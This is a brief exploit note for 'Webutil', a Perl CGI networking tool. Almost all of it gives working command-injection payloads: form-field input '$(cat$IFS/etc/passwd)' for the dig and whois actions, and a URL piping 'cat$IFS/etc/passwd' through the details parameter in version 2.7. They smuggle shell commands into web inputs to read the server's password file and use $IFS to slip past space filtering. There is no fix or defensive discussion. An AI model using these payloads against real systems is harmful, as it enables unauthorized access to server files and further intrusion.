Webutil is a collection of networking tools by "The Puppet Master".

Access the following url and type in the form field "$(cat$IFS/etc/passwd)":
http://server/cgi-bin/webutil.pl?dig
http://server/cgi-bin/webutil.pl?whois (Version 2.3 only)

Type in the following url (Version 2.7 only):
http://server/cgi-bin/webutil.pl?details&|cat$IFS/etc/passwd


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